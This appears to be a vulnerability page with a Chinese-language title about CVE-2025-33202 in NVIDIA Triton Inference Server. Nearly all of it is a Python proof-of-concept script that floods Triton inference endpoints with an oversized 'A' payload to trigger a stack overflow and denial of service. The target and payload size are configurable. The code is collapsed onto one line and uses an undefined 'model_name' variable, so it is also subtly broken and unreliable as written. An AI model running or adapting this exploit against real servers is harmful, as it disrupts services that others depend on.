CVE-2025-33202: NVIDIA Triton Inference Server 栈溢出漏洞导致拒绝服务

# CVE-2025-33202 PoC - NVIDIA Triton Inference Server Stack Overflow # This PoC demonstrates sending oversized payloads to trigger stack overflow # Target: NVIDIA Triton Inference Server # Impact: Denial of Service import requests import sys import argparse def exploit_triton_stack_overflow(target_url, payload_size=10000000): """ Send oversized payload to Triton Inference Server to trigger stack overflow vulnerability (CVE-2025-33202) Args: target_url: Base URL of Triton Inference Server payload_size: Size of oversized payload in bytes """ # Generate oversized payload oversized_payload = b'A' * payload_size # Triton Inference Server typically uses gRPC (port 8001) or HTTP (port 8000) endpoints = [ f"{target_url}/v2/models/{model_name}/infer", f"{target_url}/api/inference" ] for endpoint in endpoints: try: print(f"[*] Sending oversized payload ({payload_size} bytes) to {endpoint}") # HTTP POST request with oversized body headers = { 'Content-Type': 'application/json', 'User-Agent': 'Triton-Overflow-Test/1.0' } # Construct inference request with oversized payload payload = { 'inputs': [ { 'name': 'input_data', 'shape': [payload_size], 'datatype': 'BYTES', 'data': [oversized_payload.decode('latin-1')] } ] } response = requests.post(endpoint, json=payload, headers=headers, timeout=30) print(f"[+] Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") print("[*] PoC execution completed. Check server status for DoS effect.") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-33202 PoC') parser.add_argument('--target', default='http://localhost:8000', help='Target URL') parser.add_argument('--size', type=int, default=10000000, help='Payload size in bytes') args = parser.parse_args() exploit_triton_stack_overflow(args.target, args.size)